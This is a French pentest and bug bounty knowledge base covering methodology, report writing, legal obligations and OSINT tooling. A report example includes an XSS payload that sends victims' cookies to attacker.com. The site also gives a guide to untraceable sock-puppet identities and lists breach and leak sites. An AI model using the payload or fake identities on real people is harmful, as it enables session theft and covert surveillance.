# Pentest et Bug Bounty

Bonjour à toutes et à tous, je m'appelle Mathis Pais De Sousa, je suis pentester junior et bug bounty hunter. 🖐

Ce blog contient des notes et des ressources récoltées durant mes différentes expériences professionnelles, scolaires et personnelles.

Son but est de centraliser des ressources et informations autour des univers du pentest et du bug bounty.

Evidemment, les informations/outils présent(e)s dans ce Gitbook sont à usage éducatif et ne sont à utiliser que dans le cadre de Pentest, Bug Bounty ou mission Red Team sur autorisation des propriétaires du matériel testé.

Sachez que je décline toutes responsabilités en cas d'utilisation malveillante / illégale de ces ressources.

Lien vers mon github: <https://github.com/mathis2001>

Nouveau ! Retrouvez maintenant des applications réelles des conseils présents dans ce Gitbook dans un contexte de bug bounty via la partie blog:

{% embed url="<https://bugbounty.s1rn3tz.ovh>" %}

## Contenu

{% content-ref url="/pages/xP8P180UCh0BhQRXqw7M" %}
[OSINT / Recon](/osint-recon)
{% endcontent-ref %}

{% content-ref url="/pages/XsaKbNH0MOvIvZlUQo4w" %}
[Pentest Web](/pentest-web)
{% endcontent-ref %}

{% content-ref url="/pages/O20CegCV1Y41qNbTqP9N" %}
[Pentest Réseau](/pentest-reseau)
{% endcontent-ref %}

{% content-ref url="/pages/R0qtMNtdKAFHwFIft0GW" %}
[Pentest AD](/pentest-ad)
{% endcontent-ref %}

{% content-ref url="/pages/gFlHDnVFhLyqDHzGqCN9" %}
[Pentest Mobile](/pentest-mobile)
{% endcontent-ref %}

{% content-ref url="/pages/sTiJkPthPgRRHrScZcWn" %}
[Pentest IoT](/pentest-iot)
{% endcontent-ref %}

{% content-ref url="/pages/HHMbPPhTFuT0Bn5s8xJ4" %}
[Hacking protocols](/hacking-protocols)
{% endcontent-ref %}

{% content-ref url="/pages/u3w2wNXObCcjNWcS35Ws" %}
[Ingénierie sociale](/ingenierie-sociale)
{% endcontent-ref %}

{% content-ref url="/pages/J1QAWJz3RQWnu3W3hDDx" %}
[Crack](/crack)
{% endcontent-ref %}

{% content-ref url="/pages/AMhE8F6KQMzEiklV0pz5" %}
[Autres outils utiles](/autres-outils-utiles)
{% endcontent-ref %}

{% content-ref url="/pages/tj9SV3CVmZWTzcZ8bj5h" %}
[Post-Exploitation](/post-exploitation)
{% endcontent-ref %}

{% content-ref url="/pages/klboVQJxKZtNa0fumNvA" %}
[Computer Forensic](/computer-forensic)
{% endcontent-ref %}

{% content-ref url="/pages/LWxhtoMBZL7LuUlJf9Qy" %}
[Pentest physique](/pentest-physique)
{% endcontent-ref %}


# Pentest Methodology

Standard PTES

la méthode présentée ci-dessous est une façon de faire un test d'intrusion parmi d'autres (ici PTES):

Qu'est ce que le standard PTES ?

C'est une norme d'exécution des tests d'intrusion qui se compose de sept sections principales. Ceux-ci couvrent tout ce qui concerne un test d'intrusion.

ressource: <http://www.pentest-standard.org/index.php/Main_Page>

### En cas de prestation externe

* Première réunion avec le client afin de discuter des attentes, du scope, du type de test d'intrusion (black box, white box ?)...
* Rédaction d'un contrat de prestation de pentest.

### Phases du test d'intrusion

#### Collecte de renseignement

* Recherche passive
* Recherche active
* Cartographie de la surface d'attaque
* Parfois ingénierie sociale&#x20;

#### Modélisation des menaces

#### Analyse de vulnérabilité

* Scans de vulnérabilités
* Recherche de vulnérabilités connues sur les versions
* Elaboration d'un arbre d'attaque

#### Exploitation

* Tentative d'exploitation des vulnérabilités trouvées
* Validation des vulnérabilités
* Retour à la phase d'analyse si découverte de nouvelles cibles

#### Post-exploitation

* Recherche de données sensibles et de persistance
* Tentatives de mouvements latéraux

#### Rédaction d'un rapport de pentest&#x20;

## Ressources utiles

<https://github.com/1modm/petereport>: outil open source de génération de rapport

<https://github.com/juliocesarfort/public-pentesting-reports>: Une liste de rapports de tests d'intrusion publics publiés par plusieurs cabinets de conseil et groupes de sécurité universitaires.

<https://www.deciduous.app/>: pour la génération de scénario d'attaque


# Bug Bounty Methodology

Mindmap pour ne rien oublier:

1. Trouver des [sous-domaines](/osint-recon/domaines-et-sous-domaines).
2. Vérifier les enregistrements [CNAME](/pentest-web/one-liners#enregistrements-cname) de ces sous-domaines (possibilité de [subdomain takeover](/pentest-web/prise-de-controle-de-sous-domaine) ?) et rassembler des urls.
3. Utiliser [masscan](/osint-recon/scan-de-ports-web#masscan), [nmap](/osint-recon/scan-de-ports-web#nmap), Shodan... pour faire un [scan de ports](/osint-recon/scan-de-ports-web) de la cible.
4. Tenter de retrouver des informations sensibles sur la cible à l'aide de dorks [Github](/osint-recon/manuel-dorks#github-dorks), [Google](/osint-recon/manuel-dorks#google-bing-yahoo-dorks), [Shodan](/osint-recon/manuel-dorks#reconnaissance-et-recherche-de-leaks-avec-shodan-et-github)...

Sur les applications web:

1. &#x20;Tester les [CORS](/pentest-web/sop-bypass/cors) (Cross-origin ressource sharing)
2. Tester les injections de header dans les emails des [fonctions de remplacement de mot de passe](/pentest-web/mot-de-passe-oublie).
3. Tester les serveurs SMTP et les [HOST header injection](/pentest-web/injections#host-header)
4. Tester les iframe (pour le [clickjacking](/pentest-web/clickjacking))
5. Tester les [contrôles d'accès incorrects](/pentest-web/idor) et tenter de modifier les paramètres
6. Vérifier l'historique de Burp Suite et récolter les endpoints
7. Tenter de trouver d'autres endpoints
8. Chercher des failles [CSRF](/pentest-web/csrf)
9. Chercher des failles SSRF ([upload features](/pentest-web/upload-features#ssrf), [open redirect](/pentest-web/open-redirect#ssrf-via-open-redirect), [XXE](/pentest-web/injections/xxe))
10. Chercher des failles [SSTI](/pentest-web/injections/ssti) et [XSS](/pentest-web/injections/xss) ([upload features](/pentest-web/upload-features#xss), [broken authent](/pentest-web/broken-authentication-register#xss)...)
11. Chercher des failles [XXE](/pentest-web/injections/xxe)
12. Vérifier la robustesse des fonctions [OAuth](/pentest-web/oauth), [Tokens JSON](/pentest-web/json-web-token) et [autres](/pentest-web/insecure-deserialization)
13. Tester les injections unicode dans les paramètres email
14. Tester le rate limit des fonctions de [mot de passe oubliés](/pentest-web/mot-de-passe-oublie)
15. Tester les différentes méthodes de la section Bug Bounty Tips sur les fonctions de[ mot de passe oublié](/pentest-web/mot-de-passe-oublie)
16. [Bruteforce](/pentest-web/brute-force-fuzzing) des repertoires
17. Tester les [HTTP resquest smuggling](/pentest-web/http-smuggling)
18. Chercher des failles [open redirect](/pentest-web/open-redirect)
19. Essayer de [bypass](/pentest-web/bypass) les accès restreints
20. Chercher des [insecure deserializtion](/pentest-web/insecure-deserialization)
21. Rédaction d'un [rapport](/pentest-et-bug-bounty/bug-bounty-methodology/ecrire-un-bon-rapport) pour chaque faille trouvée


# Ecrire un bon rapport

1 - Utiliser un titre descriptif

La première partie d'un bon rapport de vulnérabilité est toujours un titre descriptif.

Utilisez un titre qui résume le rapport en une phrase. Idéalement, il devrait permettre à l'équipe de sécurité d'avoir immédiatement une idée de la vulnérabilité, sur quel partie de périmètre elle se trouve et potentiellement sa gravité.

Pour cela, le titre doit répondre à ces trois questions:

* Quelle est la vulnérabilité ou le type de vulnérabilité ? (XSS, IDOR, information disclosure...)
* Où se trouve cette vulnérabilité ?
* Quelle est la finalité de la vulnérabilité ?

<mark style="color:red;">XSS found on a critical endpoint -> pas assez précis</mark>

Bonne solution:

<mark style="color:green;">XSS found on <https://exemple.com/profile> and POST parameter "param" leads to account takeover.</mark>

Votre but est de donner aux personnes en charge de fixer le bug une idée du contenu dont vous allez parler par la suite.

## 2 - Fournir un résumé clair

Cette section inclue toutes les informations utiles qui n'ont pas pu être mis dans le titre comme les paramètres de la requête HTTP utilisés, la façon dont la vulnérabilité a été trouvée etc.

Exemple:

<http://exemple.com/profile> takes three POST body parameters: user\_token, user\_name and user\_bio. special caracters like <>{}''()# are not filtered and users inputs are not validate allowing them to execute scripts in their name or biography field. An attacker can use this to exploit LFI.

On bon résumé de rapport est clair et concis, il contient tous les détails du titre précédemment donné (bug, localisation, ce que l'attaquant peut faire grâce à lui).

## 3 - Inclure une évaluation de la gravité

L'inclusion d'une évaluation de la gravité de la vulnérabilité trouvée aidera les équipes de sécurité à hiérarchiser les vulnérabilités à corriger.

Vous pouvez vous baser sur une méthode d'évaluation comme celle-ci par exemple:

* Mineur : faible risque pour l'entreprise pouvant nécessiter une correction. (exp: Open redirect seulement utilisable pour du phishing)
* Important : risque modéré pour l'entreprise et nécessitant une correction à moyen terme. (exp: CSRF)
* Majeur : risque majeur pour l'entreprise nécessitant une correction à court terme. (exp: Account Takeover)
* Critique : risque critique pour l'entreprise nécessitant une correction immédiate ou imposant un arrêt immédiat du service. (exp: RCE)

La gravité d'une d'une vulnérabilité peut être évaluée de cette manière grâce à deux critères, la facilité d'exploitation :

* Facile : exploitation triviale, sans outil particulier
* Modérée : exploitation nécessitant des techniques simples et des outils disponibles publiquement.
* Elevée : exploitation de vulnérabilités publiques nécessitant des compétences en sécurité des systèmes d’information et le développement d’outils simples.
* Difficile : exploitation de vulnérabilités non publiées nécessitant une expertise en sécurité des systèmes d’information et le développement d’outils spécifiques et ciblés.

Puis le niveau d'impact :

* Mineur : pas de conséquences directes sur la sécurité du système d’information audité
* Important : conséquences isolées sur des points précis du système d’information audité
* Majeur : conséquences restreintes sur une partie du système d’information audité
* Critique : conséquences généralisées sur l’ensemble du système d'information audité.

![Tableau d'évaluation de la gravité](/files/brYmKfQezXKrKu6D45nZ)

On peut aussi s'aider d'un calculateur de CVSS pour calculer le score CVSS de la vulnérabilité trouvée.

## 4 - Donner clairement les étapes à suivre pour reproduire la vulnérabilité

Il s'agit ensuite de donner pas-à-pas les actions à effectuer pour reproduire la vulnérabilité.

Il faut inclure toutes les conditions préalables de configuration si il y en a, l'idée est de faire comme si la personne qui lira ce rapport n'a aucune idée du fonctionnement de l'application.

Exemple:

1 - Log onto <https://exemple.com/>

2 - Go to "my profile" section in the top right corner of the page

3 - Change your username to ">\<script>fetch('<https://attacker.com/?cookie='+document.cookie)\\></script>

4 - You can now retrieve other users authentication cookies and use them to takeover their session.

## 5 - Fournir un Proof of Concept (PoC)

Pour les vulnérabilités simple à reproduire, l'usage d'un PoC n'est pas nécessaire. Pour les vulnérabilité plus complexes, il est recommendé de fournir, vidéos, capture d'écran ou photos documentant l'exploitation de celle-ci.

Par exemple pour une faille de file upload, fournir le webshell, reverse shell ou autre fichier contenant la charge utile utilisée permet aux équipes de sécurité de reproduire la vulnérabilité plus simplement en utilisant directement les ressources que vous avez utilisé.

## 6 - Décrire les scénarios d'attaque et d'impact

Cette étape permet de donner aux équipes de sécurité de visualiser l'impact potentiel de l'exploitation de la vulnérabilité par un hacker malveillant.

Il s'agit donc de se mettre dans la peau d'un hacker malveillant et essayer d'intensifier l'impact de la vulnérabilité autant que possible, de donner à l'entreprise le pire scénario pouvant leur arriver avec l'exploitation de cette vulnérabilité.

{% hint style="danger" %}
Attention, il faut que l'impact donné soit réaliste, le but est d'intensifier au maximum l'impact sans pour autant partir dans des hypothèses potentiellement impossibles.
{% endhint %}

## 7 - Recommander des mesures d'atténuation ou résolution

Donner des mesures d'atténuation ou de résolution complète du bug permettra aux équipes de sécurité de gagner du temps et d'avoir le point de vue du chercheur.

Exemples:

* Utiliser la commande htmlspecialchar() pour filtrer les caractères spéciaux en PHP.
* Utiliser l'instruction HttpOnly pour éviter l'accès aux cookies en Javascript.
* ...

{% hint style="danger" %}
Attention: Ne pas faire de recommandation en cas de doute, les équipes de sécurité aurons probablement un meilleur contexte et une meilleur connaissance du fonctionnement de l'application.
{% endhint %}

## 8 - Valider le rapport

Enfin, vérifier une dernière fois votre rapport avant de l'envoyer afin de vérifier si il ne contient pas d'erreur ou d'ambiguïté pouvant empêcher l'équipe de sécurité de le comprendre. Cette étape est indispensable pour réduire au maximum le risque que celui-ci soit invalidé.

## &#x20;Autre

### Ne présumez rien

Ne présumez pas que l'équipe de sécurité comprendra tout dans votre rapport, les start-up notamment ont rarement une équipe dédiée à la sécurité. Aidez-les à comprendre vos découvertes et accompagnez les le plus possible. Il est aussi bon d'inclure des références pour les détails techniques.


# Aspect Juridique (FR)

## Site

<https://noraj.github.io/BB-legal-FR/>: Explication détaillé de l'aspect juridique du bug bounty en france.

## Questions Fréquentes

Peut-on faire du bug bounty sans créer d'entreprise ? => <mark style="color:red;">Non</mark>

Peut-on faire du bug bounty en tant que pentester sans prévenir son employeur ? => <mark style="color:red;">Non</mark>

Peut-on faire du bug bounty sans déclarer les revenus liés à cette activité ? => <mark style="color:red;">Non</mark>

Une simple déclaration comme revenus exceptionnels liés à une activité non professionnelle suffit-elle ? => <mark style="color:red;">Non</mark>

## Obligations légales, fiscales et sociales

Si son activité auprès de la plateforme ou de plusieurs plateformes est professionnelle (exercice régulier et lucratif), le Hunter doit disposer d’un statut légal pour son activité, qui peut s’exercer de manière individuelle (Autoentrepreneur) ou en société (EURL, SARL). À défaut d’inscription à un régime juridique adéquat, le Hunter risque d’être poursuivi pour dissimulation d’activité.

Le Hunter doit se rapprocher des autorités administratives compétentes (URSSAF, administration fiscale) afin de connaître les obligations relatives à son activité et procéder à son inscription et aux diverses formalités administratives.

Au-delà d’un certain niveau de revenu tiré de son activité sur la plateforme ou de plusieurs plateformes, le Hunter pourra être assujetti à la TVA et en conséquence devra facturer, collecter et reverser à l’administration fiscale la TVA afférente à chaque opération. L’administration fiscale applique une franchise de TVA suivant le Chiffre d’affaires annuel du Hunter (33.200 euros franchise en base applicable en 2019).

Dès lors qu’il est assujetti, le Hunter doit obligatoirement émettre une facture conforme à la réglementation fiscale notamment en y mentionnant son N° de TVA. Le N° de TVA est par principe attribué automatiquement au moment où le hunter adopte un statut professionnel.

Les mentions légales obligatoires sur la facture sont prévues à l’article 441-3 du code de commerce et aux articles article 242 nonies et 242 nonies A du code général des impôts.

De plus, toute source de revenus doit faire l’objet d’une déclaration fiscale au titre de l’impôt sur le revenu et le cas échéant, au titre de l’impôt sur les sociétés en fonction du statut légal adopté.

Afin de connaître ses obligations, le Hunter devra se rapprocher de son centre des impôts pour connaître les formalités applicables à sa situation et au statut qu’il aura choisi.

Source: <https://www.yeswehack.com/fr/entreprises/aide-faq/>


# OSINT / Recon

Techniques de reconnaissance passives et actives

## Sites

* <https://osint.sh/>: site multiusage pour osint.
* <https://metaosint.github.io/chart>
* <https://docs.google.com/spreadsheets/d/1klugQqw6POlBtuzon8S0b18-gpsDwX-5OYRrB7TyNEw/edit#gid=0>: google sheet de ressources d'OSINT par thême.
* <https://www.exploit-db.com/>: base de données d'exploit publiques.
* <https://www.seebug.org/>: base de données d'exploit publiques.
* <https://exploits.shodan.io/>: moteur de recherche d'exploit publiques de shodan.
* <https://sploitify.haxx.it/>: moteur de recherche d'exploits.
* <https://cvefeed.io/>: moteur de recherche d'exploits
* <https://security.snyk.io/vuln>: moteur de recherche de packages vulnérables.
* <https://www.cvedetails.com/>: moteur de recherche de CVE.
* <https://www.cve.org/>: moteur de recherche de CVE.
* <https://devina.io/>: Multi-tool en ligne.
* <https://start.me/p/DPRM5o/oscar-zulu-toolbox>: Toolbax de ressources OSINT sur le web

## Outils multitâches

### BEE-bot

BBOT peut exécuter l'intégralité du processus OSINT en une seule commande : énumération de sous-domaines, analyses de ports, captures d'écran Web (avec gowitness), analyse de vulnérabilités (avec noyaux) et bien plus encore. BBOT compte plus de 80 modules et ce n'est pas fini.

Exemple d'utilisation:

*`$ bbot -t target.com -f <module>`*

Ressource: [https://github.com/blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot-1)

### ReconFTW

ReconFTW est un outil de reconnaissance multitâche utilisant plusieurs outils des différentes parties de la section OSINT / Recon présentés. (whois, dorks, emails, employés, linkedin, enumeration de sous-domaines, recherche d'IP pour chaque sous-domaine, transfert de zone, scan de ports...)

Exemple d'utilisation:

*`$ ./reconftw.sh -d target.com -r`*

Ressource: <https://github.com/six2dez/reconftw>

### Maltego

Maltego est un logiciel utilisé pour l'intelligence open source et la criminalistique.

Ressource: <https://www.maltego.com/>

### AutoRecon

AutoRecon est un outil de reconnaissance de réseau multithread qui effectue une énumération automatisée des services.

Exemple d'utilisation:

```
$ python3 autorecon.py <IP>
```

Ressource: <https://github.com/Tib3rius/AutoRecon>

### Recon-ng

Recon-ng est un framework d'OSINT regroupant plusieurs outils spécialisés sous forme de modules qui peuvent être téléchargés. Beaucoup d'entre eux ont besoin de clés d'APIs pour fonctionner.

Exemples de commandes:

```
// lister les modules téléchargeables
> marketplace search

// Installer un module
> marketplace install <module>

// Charger un module
> modules load <module>

// Informations sur le module et ses options
> info

// Après confguration
> run
```

## Conseils / informations

1 - Lorsque vous faites de l'osint sur une personne, ne vous intéressez pas seulement à celle-ci mais aussi à tout ces contacts est connaissances sur une photographie par exemple.

2 -  L'OSINT n'est PAS de la cyberpatrouille (exp: faire du renseignement sur un compte publique  est de l'OSINT alors que faire du rensignement sur un compte privé qu'on a demandé en ami/contact nécessite des autorisations et formations spécifiques)

3 - L'OSINT n'est PAS du doxing (Le doxing est l'acte de révéler des informations qui permettent d'identifier quelqu'un en ligne, comme le véritable nom, l'adresse, le lieu de travail, le numéro de téléphone, des informations financières ou personnelles. Ces informations sont ensuite transmises au public sans l'autorisation de la victime). le doxing n'est pas illégal, si les informations révélées sont disponibles au public et qu'elles ont été obtenues légalement. Cela dit, selon le territoire, il peut tomber sous le coup des lois destinées à lutter contre le harcèlement et les menaces.

4 - Connaitre les lois concernant l'OSINT dans le pays dans lequel vous vous trouvez mais aussi dans celui dans lequel se trouve votre cible.

## Sommaire

{% content-ref url="/pages/iqpQsu3tubNvsYD6I1QH" %}
[Mindmaps](/osint-recon/mindmaps)
{% endcontent-ref %}

{% content-ref url="/pages/mNVBKgHHv4BEAAhOkxZr" %}
[Entreprise](/osint-recon/entreprise)
{% endcontent-ref %}

{% content-ref url="/pages/kECyrEGp9WHMCllxoklO" %}
[Leaks](/osint-recon/leaks)
{% endcontent-ref %}

{% content-ref url="/pages/gZs10TwdMJkxBfeVGNGm" %}
[Réseaux sociaux (SOCMINT)](/osint-recon/reseaux-sociaux-socmint)
{% endcontent-ref %}

{% content-ref url="/pages/KCxNwfommCWflgjCz21W" %}
[Domaines et Sous-domaines](/osint-recon/domaines-et-sous-domaines)
{% endcontent-ref %}

{% content-ref url="/pages/DoFsvBcdPPtBLy6Z4404" %}
[Scan de ports / web](/osint-recon/scan-de-ports-web)
{% endcontent-ref %}

{% content-ref url="/pages/M0JPIkjwBBklwUEDMRar" %}
[Manuel / Dorks](/osint-recon/manuel-dorks)
{% endcontent-ref %}

{% content-ref url="/pages/5b0cwmUC5f2RsOqxQiqZ" %}
[Emails](/osint-recon/emails)
{% endcontent-ref %}

{% content-ref url="/pages/tlJhI7eTfAenY0lnsZNe" %}
[Réseau](/osint-recon/reseau)
{% endcontent-ref %}

{% content-ref url="/pages/8FWy92ij378RVMYFKpUZ" %}
[Screenshots](/osint-recon/screenshots)
{% endcontent-ref %}

{% content-ref url="/pages/36JBv2lh7BHK1g8IgpX7" %}
[Live camera](/osint-recon/live-camera)
{% endcontent-ref %}

{% content-ref url="/pages/utfNS47WTUv9kWTbwafv" %}
[Reconnaissance faciale / images](/osint-recon/reconnaissance-faciale-images)
{% endcontent-ref %}

{% content-ref url="/pages/EUBXzDKbMmquohzmeIMW" %}
[Images](/osint-recon/images)
{% endcontent-ref %}

{% content-ref url="/pages/zkvxDUwF8U9kmdh675rG" %}
[Maps](/osint-recon/maps)
{% endcontent-ref %}

{% content-ref url="/pages/Fe91DU61qxdlyZk5g4ac" %}
[Active Directory](/osint-recon/active-directory)
{% endcontent-ref %}

{% content-ref url="/pages/qX4GlS5yoTnKI9IZGGcY" %}
[Cloud](/osint-recon/cloud)
{% endcontent-ref %}


# Sock Puppet

## Description

Le terme "Sock puppet" est un terme utilisé pour désigner des faux comptes sur internet, il s'agit d'une identité factice imaginée pour être crédible et hors de tout soupçon. Pour cela, ce compte ne doit en aucun cas contenir d'information qui pourrait permettre de le lier à la personne à son origine.

Les sock puppets sont utilisés dans toutes sortes d'activités plus ou moins éthiques. Cependant, dans le cadre d'investigation OSINT, ils sont utilisés pour investiger sur des personnes sans que celle-ci ne puisse s'en rendre compte. Tout leur intêret est ainsi de pouvoir investiger sans risqué d'être soupçonné et de compromettre l'investigation.

## Processus de création d'un sock puppet (méthode parano)

1. Imaginer un personnage pour le compte sockpuppet. (petit bonus si le personnage est féminin)
2. Utiliser un outil comme [Fake Name Generator](https://www.fakenamegenerator.com/) pour créer une personne qui correspond à la personnalité de la marionnette imaginée.
3. Utiliser un outil comme [This Person Does Not Exist](https://thispersondoesnotexist.com/) pour générer une photo de profil. S'assurer d'inspecter l'image de près et d'en obtenir une qui ne présente aucun défaut évident, comme c'est souvent le cas. Cela vaut la peine d'acquérir des compétences de base en manipulation d'images dans Photoshop, GIMP, Affinity Photo ou Designer, pour les corriger et modifier l'arrière-plan de l'image.
4. Se procurer un téléphone prépayé, complètement vide. Il peut s'agir de n'importe quelle marque acceptant une carte SIM Mint Mobile.
5. Obtenir une carte de crédit virtuelles auprès de [Privacy.com](https://privacy.com/) par exemple à utiliser sur Amazon et éventuellement pour la configuration de Mint Mobile. Ils pourraient en avoir besoin pour créer le compte.
6. Créer un faux compte Amazon.
7. Acheter deux cartes SIM Mint Mobile avec le compte Amazon créé.
8. Bonus: La livraison peut-être faite dans des boîtes de retraits anonymes.
9. Se procurer un VPN à définir sur la zone physique dans laquelle on souhaite que le sockpuppet « existe ».
10. Créer le compte d'essai Mint Mobile quelque part loin de chez soi (aussi loin que possible).
11. Utiliser ce numéro de téléphone d'essai Mint Mobile pour configurer tous les sites Web nécessaires.
12. Créer au moins un compte Google et un compte Protonmail.
13. Une fois les comptes configuré, activer le 2FA sur tous les comptes.
14. Après avoir activé le 2FA sur tous les comptes, remplacer le numéro de téléphone par un numéro avec un accès plus permanent, tel que MySudo ou Google Voice.
15. S'assurer que tout fonctionne !
16. Détruir la carte SIM.
17. Vider le téléphone.

Plus le sock puppet aura une empreinte numérique marquée et "diverse", plus il sera crédible.

{% hint style="danger" %}
**Attention**: Il est très important de ne **jamais** se connecter sur un compte sock puppet avec un appareil personnel ou sur lequel on s'est déjà connecté avec un compte personnel car cela pourrait lier le sock puppet au compte personnel.

Des contacts du sock puppet pourraient recevoir des suggestions d'amis du compte personnel par exemple.
{% endhint %}


# Mindmaps

Quelques cartes heuristiques selon vos besoins

## Nom réel

![Recherche d'informations à partir d'un nom/prénom](/files/sGUTZFnxCdoCQmeQqpUS)

## Nom d'utilisateur / Pseudo

![Recherche d'informations à partir d'un pseudonyme](/files/gncN19uMlrn8m1pmFGNv)

## Email

![Recherche d'informations à partir d'un email](/files/77IIhjg3lwpgnyomyFYu)

## Téléphone

![Recherche d'informations à partir d'un numéro de téléphone](/files/yx9c7Amp98y6RKCe07yw)

## Localisation géographique

![Recherche d'informations à partir d'une position physique](/files/NthRK3GeJmRDK9arBPUY)

## IP

![](/files/bcfBn4Q7V8phNeBkhpZh)

## Website

![](/files/zXYKrEJumYUeANzESZSa)

## Dark Web

![](/files/naAFepeYSUeCC53pKvbR)

## Image

![](/files/VuTjDccDv0m4SwTwz6ZZ)

## Réseaux sociaux

![](/files/9buMBrNtDJNVRRAjVi5U)

### Instagram OSINT

![](/files/ZYPZcDDkJAeCZfbDdrnv)

### Twitter OSINT

![](/files/n20Yn1O7iqhoAr7Sgrs0)

### Linkedin OSINT

![](/files/WTpIcefVEzU0EIlFwj97)

### Tik Tok OSINT

![](/files/KyVruUK0shNNbXONKN8S)

### Snapchat OSINT

![](/files/24B0J5iP1hT73mqWarvF)

### Discord OSINT

![](/files/CN19QZTFuiTqABC2i0TT)

### Youtube OSINT

![](/files/RtFA4yJSN4ECi6ULV2Xf)

### Github OSINT

![](/files/Qk1Q1QbRBXafDn5lzeLh)

### Pinterest OSINT

![](/files/qG4qSmAH43w4GyjLbsia)

### Reddit OSINT

![](/files/mUePlWWR5LoECTf1V20W)

### Skype OSINT

![](/files/RhJY2sy3NcifzrKxuYEm)

## Ressources par thème

![](/files/esGkbBjVdNO577m23ggZ)


# Entreprise

Quelques ressources pour en apprendre un peu plus sur une entreprise

* <https://opencorporates.com/> : Informations sur l'entreprise.
* <https://www.pappers.fr/> : Information sur entreprise Française.
* <https://www.societe.com/> : Infos finances et légal.
* <https://jurisprudence.ninja/> : juridique.&#x20;
* <https://aleph.occrp.org/>: BDD pour journalistes.
* [https://www.openbugbounty.org/ ](<https://www.openbugbounty.org/&#xD;&#xA;>): rechercher si des vulnérabilités ont été trouvés sur la cible (peut-être que certaines n'ont pas été fixées).[ <br>](<https://www.openbugbounty.org/&#xD;&#xA;>)


# Leaks

Outils et sites pour recherche de fuites de données

## Sites :

* <https://intelx.io/> : Permet de rechercher des leaks sur une cible donnée (payant).
* <https://phonebook.cz/>: Service de intellX permettant de rechercher des emails, domaines et URLs.
* <https://leakix.net/>: LeakIX est la première plateforme combinant un moteur de recherche indexant les informations publiques ET une plateforme de reporting ouverte liée aux résultats.
* <https://www.dehashed.com/> : Permet de rechercher des leaks de mots de passes sur une cible donnée.
* <https://oathnet.org/>: Moteur de recherche de leaks.
* <https://www.proxynova.com/tools/comb/>: permet de chercher des leaks de mots de passe par email, username ou mot de passe.
* <https://search.carrot2.org/>: OSINT search engine.
* <https://www.searchftps.net/>: ftp search engine.
* <https://aleph.occrp.org/> : Base de données d'archives mondiales.
* <https://ahmia.fi/> : Permet de chercher des informations venant du darknet avec des mots clés.
* <https://cryptome.org/> : Archives de documents ayant fuités depuis 1996.
* <https://weleakinfo.to/> : Moteur de recherche de leaks (recherche par email gratuit)
* <https://snusbase.com/> : Moteur de recherche de bases de données (payant).
* [https://webmii.com/ ](<https://webmii.com/&#xD;&#xA;>): Moteur de recherche sur un prénom et nom.[  ](<https://webmii.com/&#xD;&#xA;>)
* <https://www.pagesblanches.be/>: Page blanche.
* <https://www.pagesjaunes.fr/pagesblanches>:  Page blanche.
* <https://voterrecords.com/>: Informations sur les électeurs aux USA.
* <https://osint.industries/>: Recherche par email / numéro de tel.
* <https://epieos.com/>: Recherche par email / numéro de tel.
* <https://thatsthem.com>: Moteur de recherche de personnes via différentes ressources en notre possession.
* <https://www.btdig.com/>:  Moteur de recherche de torrent.
* <https://www.nulled.to/>: Forum.
* <https://breached.co/> : Breach forum.
* <https://breachsense.io/> : Recherche de leaks sur un email ou domaine donné.
* <https://sourcegraph.com/>: Moteur de recherche de code source
* <https://grep.app/>: Moteur de recherche dans les repo git via utilisation de regex.
* <https://searchcode.com/>: Moteur de recherche de code Github, Gitlab, Bitbucket, GoogleCode et autre.
* <https://publicwww.com/>: Moteur de recherche de code source.
* [https://informationisbeautiful.net/visualizations/worlds-biggest-data-breaches-hacks/](https://informationisbeautiful.net/visualizations/worlds-biggest-data-breaches-hacks/?fbclid=IwAR3KD27WyZgMn61u173CWYadj2ddUSq5jiUEiW2bXUmidWJuNX0F-FhpPnU): Représentation graphique des fuites d'information par année.
* <https://api-guesser.netlify.app/>: Application web permettant de retrouver le type d'une clé / token API.

## Outils :

### theHarvester&#x20;

TheHarvester est un outil de reconnaissance qui est capable d'utiliser une multitudes de techniques d'OSINT pour remonter des informations sur une cible (google, bing etc doorks mais aussi intelx, hunter, virustotal etc en utilisant des APIs)

Exemple d'utilisation:

*`$ theHarvester -d target.com -b google,bing,twitter`*

ressource: <https://github.com/laramies/theHarvester>

### EmailHarvester

EmaiHarvester est un outil semblable à TheHarvester à la différence que celui-ci a pour objectif de cibler simplement les emails présents en clair sur le net via une grande quantité de sources.

Exemple d'utilisation:

*`$ python3 EmailHarvester.py -d target.com -e all`*

ressource: <https://github.com/maldevel/EmailHarvester>

### Pwndb

Pwndb est un outil permettant de rechercher des leaks sur une cible (email ou domaine).

Exemple d'utilisation:

*`$ python pwndb.py --target target.com`*

ressource: <https://github.com/davidtavarez/pwndb>

### Metagoofil&#x20;

Metagoofil est un outil qui permet d'extraire les documents publiques présents dans un domaine grâce à des google dorks.

Exemple d'utilisation:

*`$ metagoofil -d target.com -t pdf,xls,ppt`*

ressource: <https://github.com/opsdisk/metagoofil>

### Exiftool&#x20;

Exiftool est un outil permettant d'extraire les méta data d'un document.

Exemple d'utilisation:

*`$ exiftool -r <document>`*

ressource: <https://exiftool.org/>

### Swaggerhole

Swaggerhole est un outil qui permet de récupérer le contenu sensible dans les API publiques sur swaggerHub.

Exemple d'utilisation:

*`$ swaggerhole -s target.com`*

ressource: <https://github.com/Liodeus/swaggerHole>

### Postmaniac

Postmaniac est un outil permettant de récupérer le contenu sensible provenant des workspaces publiques Postman.

Exemple d'utilisation:

*`$ ./postmaniac target.com`*

ressource: <https://github.com/boringthegod/postmaniac>

### Postleaks

Postleaks a la même utilité que Postmaniac.

Exemple d'utilisation:

*`$ ./postleaks -k <keyword>`*

ressource: <https://github.com/cosad3s/postleaks>

### TruffleHog

TruffleHog permet de rechercher des leaks d'informations sensibles sur un répertoire d'un utilisateur ou une organisation sur github.

Exemple d'utilisation:

*`$ ./trufflehog --repo <repo url>`*

ressource: <https://github.com/trufflesecurity/trufflehog>

### Gitrob

Gitrob est un outil de reconnaissance pour github au même titre que trufflehog et écrit en Go.

ressource: <https://github.com/michenriksen/gitrob>

### KeyHacks

KeyHacks est un repo github montrant comment des clés API leakés / trouvées peuvent être vérifiées (Utile pour démontrer qu'une clé d'API trouvée est encore valide).

ressource: <https://github.com/streaak/keyhacks>

#### NotKeyHacks

notkeyhacks regroupe les clés d'api non sensibles qui n'ont aucun impact technique ou business.

ressource: <https://gitlab.com/dee-see/notkeyhacks>

### Gitleaks

Gitleaks permet de rechercher des leaks d'informations sensibles sur un répertoire, un utilisateur ou une entreprise présent(e) sur github.

Exemple d'utilisation:

*`$ gitleaks --github-org <entreprise>`*

ressource: <https://github.com/zricethezav/gitleaks>

### mosint

